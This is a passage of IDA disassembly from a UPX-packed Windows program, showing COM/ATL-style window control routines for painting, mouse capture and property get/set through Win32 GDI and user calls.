arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403861
mov eax, 80004003h
jmp short locret_40386F
; ---------------------------------------------------------------------------
loc_403861: ; CODE XREF: sub_403852+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+94h]
mov [eax], ecx
xor eax, eax
locret_40386F: ; CODE XREF: sub_403852+Dj
retn 8
sub_403852 endp
; =============== S U B R O U T I N E =======================================
sub_403872 proc near ; DATA XREF: UPX0:00424240o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
mov [eax+98h], ecx
xor eax, eax
retn 8
sub_403872 endp
; =============== S U B R O U T I N E =======================================
sub_403885 proc near ; DATA XREF: UPX0:00424244o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403894
mov eax, 80004003h
jmp short locret_4038A2
; ---------------------------------------------------------------------------
loc_403894: ; CODE XREF: sub_403885+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+98h]
mov [eax], ecx
xor eax, eax
locret_4038A2: ; CODE XREF: sub_403885+Dj
retn 8
sub_403885 endp
; =============== S U B R O U T I N E =======================================
sub_4038A5 proc near ; DATA XREF: UPX0:00424248o
arg_0 = dword ptr 4
arg_4 = word ptr 8
movsx ecx, [esp+arg_4]
mov eax, [esp+arg_0]
shl ecx, 5
xor ecx, [eax+7Ch]
and ecx, 20h
xor [eax+7Ch], ecx
xor eax, eax
retn 8
sub_4038A5 endp
; =============== S U B R O U T I N E =======================================
sub_4038BF proc near ; DATA XREF: UPX0:0042424Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_4038CE
mov eax, 80004003h
jmp short locret_4038E4
; ---------------------------------------------------------------------------
loc_4038CE: ; CODE XREF: sub_4038BF+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+7Ch]
and cl, 20h
movzx ecx, cl
neg ecx
sbb ecx, ecx
mov [eax], cx
xor eax, eax
locret_4038E4: ; CODE XREF: sub_4038BF+Dj
retn 8
sub_4038BF endp
; =============== S U B R O U T I N E =======================================
sub_4038E7 proc near ; DATA XREF: UPX0:00424250o
arg_0 = dword ptr 4
arg_4 = word ptr 8
movsx ecx, [esp+arg_4]
mov eax, [esp+arg_0]
shl ecx, 6
xor ecx, [eax+7Ch]
and ecx, 40h
xor [eax+7Ch], ecx
xor eax, eax
retn 8
sub_4038E7 endp
; =============== S U B R O U T I N E =======================================
sub_403901 proc near ; DATA XREF: UPX0:00424254o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403910
mov eax, 80004003h
jmp short locret_403926
; ---------------------------------------------------------------------------
loc_403910: ; CODE XREF: sub_403901+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+7Ch]
and cl, 40h
movzx ecx, cl
neg ecx
sbb ecx, ecx
mov [eax], cx
xor eax, eax
locret_403926: ; CODE XREF: sub_403901+Dj
retn 8
sub_403901 endp
; =============== S U B R O U T I N E =======================================
sub_403929 proc near ; DATA XREF: UPX0:00424258o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+9Ch]
cmp [esp+4+arg_4], eax
jz short loc_40396D
push eax
call dword_41D25C
cmp [esp+4+arg_4], 0
jz short loc_403966
push [esp+4+arg_4]
call dword_41D234
mov [esi+9Ch], eax
test eax, eax
jnz short loc_40396D
push 8007000Eh
call sub_4010D8
; ---------------------------------------------------------------------------
loc_403966: ; CODE XREF: sub_403929+1Dj
and dword ptr [esi+9Ch], 0
loc_40396D: ; CODE XREF: sub_403929+Fj
; sub_403929+31j
xor eax, eax
pop esi
retn 8
sub_403929 endp
; =============== S U B R O U T I N E =======================================
sub_403973 proc near ; DATA XREF: UPX0:0042425Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403982
mov eax, 80004003h
jmp short locret_403990
; ---------------------------------------------------------------------------
loc_403982: ; CODE XREF: sub_403973+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+9Ch]
mov [eax], ecx
xor eax, eax
locret_403990: ; CODE XREF: sub_403973+Dj
retn 8
sub_403973 endp
; =============== S U B R O U T I N E =======================================
sub_403993 proc near ; DATA XREF: UPX0:00424260o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
add esi, 8
cmp [esi], edi
jz short loc_4039A9
call sub_4011B4
loc_4039A9: ; CODE XREF: sub_403993+Fj
pop edi
xor eax, eax
pop esi
retn 8
sub_403993 endp
; ---------------------------------------------------------------------------
loc_4039B0: ; DATA XREF: UPX0:0042413Co
push esi
mov esi, [esp+8]
push edi
push dword ptr [esp+10h]
push esi
call sub_404DA7
mov edi, eax
test edi, edi
jl short loc_4039E0
mov eax, [esi+4]
test eax, eax
jz short loc_4039E0
mov ecx, [eax]
lea edx, [esi+0A4h]
push edx
push offset dword_423B7C
push eax
call dword ptr [ecx]
mov edi, eax
loc_4039E0: ; CODE XREF: UPX0:004039C4j
; UPX0:004039CBj
cmp dword ptr [esp+10h], 0
jnz short loc_4039FC
lea eax, [esi+0A4h]
mov ecx, [eax]
test ecx, ecx
jz short loc_4039FC
and dword ptr [eax], 0
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_4039FC: ; CODE XREF: UPX0:004039E5j
; UPX0:004039F1j
mov eax, edi
pop edi
pop esi
retn 8
; =============== S U B R O U T I N E =======================================
sub_403A03 proc near ; DATA XREF: UPX0:00424100o
mov eax, 80004001h
retn 10h
sub_403A03 endp
; ---------------------------------------------------------------------------
push edi
mov edi, [esp+0Ch]
mov eax, 80004003h
test edi, edi
jz short loc_403A45
and dword ptr [edi], 0
push ebx
mov ebx, [esp+0Ch]
mov eax, [ebx+14h]
push esi
mov esi, offset dword_423B9C
test eax, eax
jz short loc_403A39
mov ecx, [eax]
push edi
push esi
push eax
call dword ptr [ecx]
test eax, eax
jge short loc_403A43
loc_403A39: ; CODE XREF: UPX0:00403A2Cj
push edi
lea eax, [ebx-4]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx]
loc_403A43: ; CODE XREF: UPX0:00403A37j
pop esi
pop ebx
loc_403A45: ; CODE XREF: UPX0:00403A17j
pop edi
retn 8
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
push edi
push dword ptr [esi-24h]
call dword_41D2DC ; GetDC
mov edi, eax
xor edx, edx
cmp edi, edx
jnz short loc_403A67
mov eax, 80004005h
jmp short loc_403A94
; ---------------------------------------------------------------------------
loc_403A67: ; CODE XREF: UPX0:00403A5Ej
mov eax, [esi+48h]
cmp eax, edx
jz short loc_403A88
push ebx
mov ebx, [eax]
push edx
push edx
lea ecx, [esi+8Ch]
push ecx
push ecx
push edi
push edx
push edx
push edx
push 0FFFFFFFFh
push 1
push eax
call dword ptr [ebx+0Ch]
pop ebx
loc_403A88: ; CODE XREF: UPX0:00403A6Cj
push edi
push dword ptr [esi-24h]
call dword_41D2BC ; ReleaseDC
xor eax, eax
loc_403A94: ; CODE XREF: UPX0:00403A65j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, [esp+4]
mov eax, [eax-28h]
mov ecx, [esp+8]
mov [ecx], eax
xor eax, eax
retn 8
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
or dword ptr [esi+6Ch], 1
push 0
push 1
push dword ptr [esi+38h]
call dword_41D394
mov eax, [esi+38h]
and dword ptr [esi+6Ch], 0FFFFFFF7h
mov ecx, [eax]
add esi, 48h
push esi
push offset dword_424324
push eax
call dword ptr [ecx]
xor eax, eax
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, [esp+4]
or dword ptr [eax+6Ch], 2
xor eax, eax
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+0Ch]
xor eax, eax
cmp edx, eax
jz short loc_403AF9
mov [edx], eax
loc_403AF9: ; CODE XREF: UPX0:00403AF5j
mov ecx, [ebp+10h]
cmp ecx, eax
jz short loc_403B02
mov [ecx], eax
loc_403B02: ; CODE XREF: UPX0:00403AFEj
cmp edx, eax
jz loc_403C11
cmp ecx, eax
jz loc_403C11
cmp [ebp+14h], eax
jz loc_403C11
cmp [ebp+18h], eax
jz loc_403C11
push ebx
push esi
mov esi, [ebp+8]
lea ebx, [esi+3Ch]
push edi
cmp [ebx], eax
jnz short loc_403B4B
lea eax, [ebp+8]
push eax
call sub_4069AB
mov eax, [ebp+8]
push ebx
add eax, 24h
mov ecx, [eax]
push offset dword_423C4C
push eax
call dword ptr [ecx]
loc_403B4B: ; CODE XREF: UPX0:00403B2Fj
lea edi, [esi+40h]
cmp dword ptr [edi], 0
jnz short loc_403B6D
lea eax, [ebp+8]
push eax
call sub_406A3F
mov eax, [ebp+8]
push edi
add eax, 24h
mov ecx, [eax]
push offset dword_423C3C
push eax
call dword ptr [ecx]
loc_403B6D: ; CODE XREF: UPX0:00403B51j
mov eax, [ebx]
mov ecx, [ebp+0Ch]
mov [ecx], eax
mov ebx, [ebx]
test ebx, ebx
jz short loc_403B80
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
loc_403B80: ; CODE XREF: UPX0:00403B78j
mov eax, [edi]
mov ecx, [ebp+10h]
mov [ecx], eax
mov edi, [edi]
test edi, edi
jz short loc_403B93
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_403B93: ; CODE XREF: UPX0:00403B8Bj
push dword ptr [ebp+14h]
mov edi, dword_41D34C
push dword ptr [esi-28h]
call edi ; dword_41D34C
push dword ptr [ebp+18h]
push dword ptr [esi-28h]
call edi ; dword_41D34C
cmp dword ptr [esi+98h], 0
jnz short loc_403BD2
xor eax, eax
mov [ebp-6], ax
mov [ebp-4], ax
push 1
lea eax, [ebp-8]
push eax
mov byte ptr [ebp-8], 0
call dword_41D350 ; CreateAcceleratorTableW
mov [esi+98h], eax
loc_403BD2: ; CODE XREF: UPX0:00403BB0j
mov edi, [ebp+1Ch]
mov dword ptr [edi], 14h
mov eax, [esi+6Ch]
shr eax, 2
and eax, 1
mov [edi+4], eax
push dword ptr [esi-28h]
call dword_41D33C ; GetParent
mov [edi+8], eax
mov eax, [esi+98h]
mov [edi+0Ch], eax
xor eax, eax
cmp [esi+98h], eax
setnz al
mov [edi+10h], eax
pop edi
pop esi
xor eax, eax
pop ebx
jmp short locret_403C16
; ---------------------------------------------------------------------------
loc_403C11: ; CODE XREF: UPX0:00403B04j
; UPX0:00403B0Cj ...
mov eax, 80004003h
locret_403C16: ; CODE XREF: UPX0:00403C0Fj
leave
retn 18h
; ---------------------------------------------------------------------------
loc_403C1A: ; DATA XREF: UPX0:off_424BDCo
mov eax, 80004001h
retn 0Ch
; ---------------------------------------------------------------------------
loc_403C22: ; DATA XREF: UPX0:00424094o
mov eax, [esp+4]
and dword ptr [eax+6Ch], 0FFFFFFFDh
xor eax, eax
retn 8
; ---------------------------------------------------------------------------
loc_403C2F: ; DATA XREF: UPX0:00424098o
mov eax, [esp+4]
and dword ptr [eax+6Ch], 0FFFFFFFEh
mov ecx, [eax+48h]
test ecx, ecx
jz short loc_403C48
and dword ptr [eax+48h], 0
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_403C48: ; CODE XREF: UPX0:00403C3Cj
xor eax, eax
retn 4
; =============== S U B R O U T I N E =======================================
sub_403C4D proc near ; DATA XREF: UPX0:0042409Co
; UPX0:004240A0o ...
mov eax, 80004001h
retn 4
sub_403C4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C55 proc near ; DATA XREF: UPX0:004240A4o
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_403C6A
mov eax, 80004003h
jmp short loc_403CC6
; ---------------------------------------------------------------------------
loc_403C6A: ; CODE XREF: sub_403C55+Cj
push ebx
push edi
lea edi, [ebp+var_10]
movsd
movsd
movsd
movsd
mov esi, [ebp+arg_0]
mov edi, dword_41D300
lea eax, [ebp+var_10]
push eax
add esi, 0FFFFFFD8h
push dword ptr [esi]
call edi ; dword_41D300
test eax, eax
jz short loc_403C93
lea eax, [ebp+var_8]
push eax
push dword ptr [esi]
call edi ; dword_41D300
loc_403C93: ; CODE XREF: sub_403C55+34j
push dword ptr [esi]
call dword_41D33C ; GetParent
mov ebx, eax
test ebx, ebx
jz short loc_403CB9
mov edi, dword_41D310
lea eax, [ebp+var_10]
push eax
push ebx
call edi ; dword_41D310
test eax, eax
jz short loc_403CB9
lea eax, [ebp+var_8]
push eax
push ebx
call edi ; dword_41D310
loc_403CB9: ; CODE XREF: sub_403C55+4Aj
; sub_403C55+5Bj
push esi
lea eax, [ebp+var_10]
call sub_401867
pop edi
xor eax, eax
pop ebx
loc_403CC6: ; CODE XREF: sub_403C55+13j
pop esi
leave
retn 8
sub_403C55 endp
; ---------------------------------------------------------------------------
push esi
mov esi, [esp+8]
or dword ptr [esi+6Ch], 1
push edi
push 0
push 1
push dword ptr [esi+38h]
call dword_41D394
test byte ptr [esp+14h], 1
jz short loc_403D02
mov eax, [esi+38h]
or dword ptr [esi+6Ch], 8
mov ecx, [eax]
lea edi, [esi+48h]
push edi
push offset byte_424334
push eax
call dword ptr [ecx]
test eax, eax
jge short loc_403D17
loc_403D02: ; CODE XREF: UPX0:00403CE7j
mov eax, [esi+38h]
and dword ptr [esi+6Ch], 0FFFFFFF7h
mov ecx, [eax]
lea edi, [esi+48h]
push edi
push offset dword_424324
push eax
call dword ptr [ecx]
loc_403D17: ; CODE XREF: UPX0:00403D00j
mov edi, [edi]
test edi, edi
jz short loc_403D2B
mov ecx, [edi]
lea eax, [esi+88h]
push eax
push eax
push edi
call dword ptr [ecx+1Ch]
loc_403D2B: ; CODE XREF: UPX0:00403D1Bj
pop edi
xor eax, eax
pop esi
retn 0Ch
; ---------------------------------------------------------------------------
loc_403D32: ; DATA XREF: UPX0:004240ACo
mov eax, [esp+4]
and dword ptr [eax+6Ch], 0FFFFFFFEh
mov ecx, [eax+48h]
test ecx, ecx
jz short loc_403D4B
and dword ptr [eax+48h], 0
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_403D4B: ; CODE XREF: UPX0:00403D3Fj
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
sub_403D50 proc near ; DATA XREF: UPX0:004240B0o
; UPX0:004240F4o ...
xor eax, eax
retn 4
sub_403D50 endp
; ---------------------------------------------------------------------------
loc_403D55: ; DATA XREF: UPX0:004240B4o
mov eax, [esp+4]
mov eax, [eax+9Ch]
not eax
and eax, 1
retn 4
; ---------------------------------------------------------------------------
loc_403D67: ; DATA XREF: UPX0:004240B8o
mov eax, [esp+4]
mov eax, [eax+6Ch]
shr eax, 4
not eax
and eax, 1
retn 4
; ---------------------------------------------------------------------------
loc_403D79: ; DATA XREF: UPX0:004240BCo
cmp dword ptr [esp+8], 0
jz short loc_403D95
push esi
mov esi, [esp+8]
push dword ptr [esi-28h]
call dword_41D32C ; SetCapture
or dword ptr [esi+6Ch], 10h
pop esi
jmp short loc_403DA3
; ---------------------------------------------------------------------------
loc_403D95: ; CODE XREF: UPX0:00403D7Ej
call dword_41D28C ; ReleaseCapture
mov eax, [esp+4]
and dword ptr [eax+6Ch], 0FFFFFFEFh
loc_403DA3: ; CODE XREF: UPX0:00403D93j
xor eax, eax
retn 8
; ---------------------------------------------------------------------------
loc_403DA8: ; DATA XREF: UPX0:004240C0o
mov eax, [esp+4]
mov eax, [eax+6Ch]
shr eax, 5
not eax
and eax, 1
retn 4
; ---------------------------------------------------------------------------
loc_403DBA: ; DATA XREF: UPX0:004240C4o
mov eax, [esp+4]
mov ecx, [esp+8]
shl ecx, 5
xor ecx, [eax+6Ch]
and ecx, 20h
xor [eax+6Ch], ecx
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403DD3 proc near ; DATA XREF: UPX0:004240C8o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_C]
test esi, esi
jnz short loc_403DEB
mov eax, 80004003h
jmp loc_403E9F
; ---------------------------------------------------------------------------
loc_403DEB: ; CODE XREF: sub_403DD3+Cj
push edi
mov edi, [ebp+arg_0]
cmp byte ptr [edi+30h], 0
jz short loc_403E04
push dword ptr [edi-28h]
call dword_41D2DC ; GetDC
mov [esi], eax
test eax, eax
jnz short loc_403E0E
loc_403E04: ; CODE XREF: sub_403DD3+20j
mov eax, 80004005h
jmp loc_403E9E
; ---------------------------------------------------------------------------
loc_403E0E: ; CODE XREF: sub_403DD3+2Fj
test [ebp+arg_8], 1
mov byte ptr [edi+30h], 0
jnz loc_403E9C
lea eax, [ebp+var_10]
push eax
push dword ptr [edi-28h]
call dword_41D34C ; GetClientRect
test [ebp+arg_8], 4
jz short loc_403E88
push ebx
push dword ptr [esi]
call dword_41D040 ; CreateCompatibleDC
mov ebx, eax
test ebx, ebx
jz short loc_403E87
mov eax, [ebp+var_4]
sub eax, [ebp+var_C]
push eax
mov eax, [ebp+var_8]
sub eax, [ebp+var_10]
push eax
push dword ptr [esi]
call dword_41D044 ; CreateCompatibleBitmap
mov [ebp+arg_C], eax
test eax, eax
jz short loc_403E70
push eax
push ebx
call dword_41D03C ; SelectObject
test eax, eax
jnz short loc_403E79
push [ebp+arg_C]
call dword_41D038 ; DeleteObject
loc_403E70: ; CODE XREF: sub_403DD3+86j
push ebx
call dword_41D02C ; DeleteDC
jmp short loc_403E87
; ---------------------------------------------------------------------------
loc_403E79: ; CODE XREF: sub_403DD3+92j
push eax
call dword_41D038 ; DeleteObject
mov eax, [esi]
mov [edi+2Ch], eax
mov [esi], ebx
loc_403E87: ; CODE XREF: sub_403DD3+69j
; sub_403DD3+A4j
pop ebx
loc_403E88: ; CODE XREF: sub_403DD3+5Aj
test [ebp+arg_8], 2
jz short loc_403E9C
push 6
lea eax, [ebp+var_10]
push eax
push dword ptr [esi]
call dword_41D324 ; FillRect
loc_403E9C: ; CODE XREF: sub_403DD3+43j
; sub_403DD3+B9j
xor eax, eax
loc_403E9E: ; CODE XREF: sub_403DD3+36j
pop edi
loc_403E9F: ; CODE XREF: sub_403DD3+13j
pop esi
leave
retn 10h
sub_403DD3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EA4 proc near ; DATA XREF: UPX0:004240CCo
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi+2Ch], 0
mov byte ptr [esi+30h], 1
jz short loc_403EFC
lea eax, [ebp+var_10]
push eax
push dword ptr [esi-28h]
call dword_41D34C ; GetClientRect
mov eax, [ebp+var_4]
sub eax, [ebp+var_C]
push 0CC0020h
push 0
push 0
push [ebp+arg_4]
push eax
mov eax, [ebp+var_8]
sub eax, [ebp+var_10]
push eax
push [ebp+var_C]
push [ebp+var_10]
push dword ptr [esi+2Ch]
call dword_41D028 ; BitBlt
push [ebp+arg_4]
call dword_41D02C ; DeleteDC
mov eax, [esi+2Ch]
jmp short loc_403EFF
; ---------------------------------------------------------------------------
loc_403EFC: ; CODE XREF: sub_403EA4+12j
mov eax, [ebp+arg_4]
loc_403EFF: ; CODE XREF: sub_403EA4+56j
push eax
push dword ptr [esi-28h]
call dword_41D2BC ; ReleaseDC
xor eax, eax
pop esi
leave
retn 8
sub_403EA4 endp
; =============== S U B R O U T I N E =======================================
sub_403F10 proc near ; DATA XREF: UPX0:004240D0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
push dword ptr [eax-28h]
call dword_41D2D0 ; InvalidateRect
xor eax, eax
retn 0Ch
sub_403F10 endp
; =============== S U B R O U T I N E =======================================
sub_403F2A proc near ; DATA XREF: UPX0:004240D4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
push [esp+4+arg_4]
push dword ptr [eax-28h]
call dword_41D340 ; InvalidateRgn
xor eax, eax
retn 0Ch
sub_403F2A endp
; =============== S U B R O U T I N E =======================================
sub_403F44 proc near ; DATA XREF: UPX0:004240D8o
xor eax, eax
retn 14h
sub_403F44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403F49 proc near ; DATA XREF: UPX0:004240E0o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push [ebp+arg_C]
mov eax, [ebp+arg_0]
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax-28h]
push dword ptr [eax-0Ch]
call dword_41D27C ; CallWindowProcW
mov ecx, [ebp+arg_10]
mov [ecx], eax
xor eax, eax
pop ebp
retn 14h
sub_403F49 endp
; =============== S U B R O U T I N E =======================================
sub_403F6F proc near ; DATA XREF: UPX0:004240FCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_4], 0
jnz short loc_403F7D
mov eax, 80004003h
jmp short locret_403F92
; ---------------------------------------------------------------------------
loc_403F7D: ; CODE XREF: sub_403F6F+5j
push [esp+arg_4]
mov eax, [esp+4+arg_0]
mov eax, [eax+34h]
mov ecx, [eax]
push offset dword_423C1C
push eax
call dword ptr [ecx]
locret_403F92: ; CODE XREF: sub_403F6F+Cj
retn 8
sub_403F6F endp
; =============== S U B R O U T I N E =======================================
sub_403F95 proc near ; DATA XREF: UPX0:00424108o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
shl ecx, 5
xor ecx, [eax+68h]
and ecx, 20h
xor [eax+68h], ecx
xor eax, eax
retn 8
sub_403F95 endp
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_403FB7 proc near ; DATA XREF: UPX0:00424120o
mov eax, 80004001h
retn 14h
sub_403FB7 endp
; =============== S U B R O U T I N E =======================================
sub_403FBF proc near ; DATA XREF: UPX0:00424124o
push 0Ch
mov eax, offset loc_41C542
call sub_40C4A0
mov eax, [ebp+10h]
xor esi, esi
cmp eax, esi
jnz short loc_403FDE
mov eax, 80004003h
jmp loc_40405F
; ---------------------------------------------------------------------------
loc_403FDE: ; CODE XREF: sub_403FBF+13j
push 38h
mov [eax], esi
mov [ebp-18h], esi
mov [ebp-4], esi
call sub_40B45F
pop ecx
cmp eax, esi
jz short loc_403FFB
mov esi, eax
call sub_404FD0
mov esi, eax
loc_403FFB: ; CODE XREF: sub_403FBF+31j
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_40400E
; ---------------------------------------------------------------------------
loc_404001: ; DATA XREF: UPX0:00427924o
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, offset loc_40400B
retn
; ---------------------------------------------------------------------------
loc_40400B: ; DATA XREF: sub_403FBF+46o
mov esi, [ebp-18h]
loc_40400E: ; CODE XREF: sub_403FBF+40j
test esi, esi
jnz short loc_404019
mov eax, 8007000Eh
jmp short loc_40405F
; ---------------------------------------------------------------------------
loc_404019: ; CODE XREF: sub_403FBF+51j
mov eax, [ebp+8]
mov ecx, [eax+2Ch]
mov [ebp-14h], ecx
lea ecx, [eax-34h]
mov eax, [ecx]
push 3
call dword ptr [eax+10h]
push eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-14h]
push eax
push esi
call sub_406CDA
mov edi, eax
test edi, edi
jl short loc_404054
push dword ptr [ebp+10h]
mov eax, [esi]
push offset dword_41EF34
push esi
call dword ptr [eax]
mov edi, eax
test edi, edi
jge short loc_40405D
loc_404054: ; CODE XREF: sub_403FBF+80j
mov eax, [esi]
push 1
mov ecx, esi
call dword ptr [eax+1Ch]
loc_40405D: ; CODE XREF: sub_403FBF+93j
mov eax, edi
loc_40405F: ; CODE XREF: sub_403FBF+1Aj
; sub_403FBF+58j
call sub_40C50C
retn 0Ch
sub_403FBF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404067 proc near ; DATA XREF: UPX0:00424128o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
shl ecx, 7
xor ecx, [eax+64h]
and ecx, 80h
xor [eax+64h], ecx
xor eax, eax
retn 8
sub_404067 endp
; =============== S U B R O U T I N E =======================================
sub_404083 proc near ; CODE XREF: UPX0:00402AB3p
; UPX0:00402C75p
push 18h
mov eax, offset loc_41C1DC
call sub_40C46D
mov ebx, ecx
mov esi, [ebp+8]
test esi, esi
jnz short loc_40409F
xor eax, eax
jmp loc_40446F
; ---------------------------------------------------------------------------
loc_40409F: ; CODE XREF: sub_404083+13j
lea eax, [ebx+60h]
mov [ebp-24h], eax
cmp [eax], esi
jz short loc_4040B4
mov edi, esi
mov esi, eax
call sub_4011B4
mov esi, edi
loc_4040B4: ; CODE XREF: sub_404083+24j
mov eax, [esi]
and dword ptr [ebp-10h], 0
lea edi, [ebx+64h]
push edi
push offset dword_424344
push esi
call dword ptr [eax]
mov eax, [edi]
test eax, eax
jz loc_404429
mov ecx, [eax]
lea esi, [ebx+0A0h]
push esi
push 1
push eax
mov [ebp-20h], esi
call dword ptr [ecx+58h]
test dword ptr [esi], 20000h
jz short loc_404129
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+10h]
xor esi, esi
mov [ebp-18h], esi
cmp eax, esi
jz short loc_404108
mov ecx, [eax]
lea edx, [ebp-18h]
push edx
push offset dword_423BEC
push eax
call dword ptr [ecx]
loc_404108: ; CODE XREF: sub_404083+75j
mov [ebp-4], esi
mov eax, [edi]
push dword ptr [ebp-18h]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-18h]
cmp eax, esi
jz short loc_40412B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
jmp short loc_40412B
; ---------------------------------------------------------------------------
loc_404129: ; CODE XREF: sub_404083+65j
xor esi, esi
loc_40412B: ; CODE XREF: sub_404083+9Cj
; sub_404083+A4j
cmp byte ptr [ebp+0Ch], 0
jnz loc_404216
mov eax, [edi]
mov [ebp+0Ch], esi
cmp eax, esi
jz short loc_40414C
mov ecx, [eax]
lea edx, [ebp+0Ch]
push edx
push offset dword_424284
push eax
call dword ptr [ecx]
loc_40414C: ; CODE XREF: sub_404083+B9j
mov dword ptr [ebp-4], 1
mov eax, [ebp+0Ch]
cmp eax, esi
jz short loc_404173
mov ecx, [eax]
cmp [ebp+10h], esi
jz short loc_40416A
push dword ptr [ebp+10h]
push eax
call dword ptr [ecx+14h]
jmp short loc_40416E
; ---------------------------------------------------------------------------
loc_40416A: ; CODE XREF: sub_404083+DCj
push eax
call dword ptr [ecx+20h]
loc_40416E: ; CODE XREF: sub_404083+E5j
mov [ebp-10h], eax
jmp short loc_4041BD
; ---------------------------------------------------------------------------
loc_404173: ; CODE XREF: sub_404083+D5j
cmp [ebp+10h], esi
jz loc_404208
mov ecx, [edi]
xor eax, eax
mov [ebp-18h], eax
cmp ecx, esi
jz short loc_404198
mov eax, [ecx]
lea edx, [ebp-18h]
push edx
push offset dword_424274
push ecx
call dword ptr [eax]
mov eax, [ebp-18h]
loc_404198: ; CODE XREF: sub_404083+102j
mov byte ptr [ebp-4], 2
cmp eax, esi
jz short loc_4041AF
push dword ptr [ebp+10h]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
mov [ebp-10h], eax
mov eax, [ebp-18h]
loc_4041AF: ; CODE XREF: sub_404083+11Bj
mov byte ptr [ebp-4], 1
cmp eax, esi
jz short loc_4041BD
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4041BD: ; CODE XREF: sub_404083+EEj
; sub_404083+132j
cmp [ebp-10h], esi
jge short loc_404205
mov ebx, [ebp-20h]
test dword ptr [ebx], 20000h
jz short loc_4041D6
mov eax, [edi]
mov ecx, [eax]
push esi
push eax
call dword ptr [ecx+0Ch]
loc_4041D6: ; CODE XREF: sub_404083+148j
mov [ebx], esi
mov eax, [edi]
cmp eax, esi
jz short loc_4041E6
mov [edi], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4041E6: ; CODE XREF: sub_404083+159j
mov ecx, [ebp-24h]
mov eax, [ecx]
cmp eax, esi
jz short loc_4041F7
mov [ecx], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4041F7: ; CODE XREF: sub_404083+16Aj
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp+0Ch]
cmp eax, esi
jmp loc_404464
; ---------------------------------------------------------------------------
loc_404205: ; CODE XREF: sub_404083+13Dj
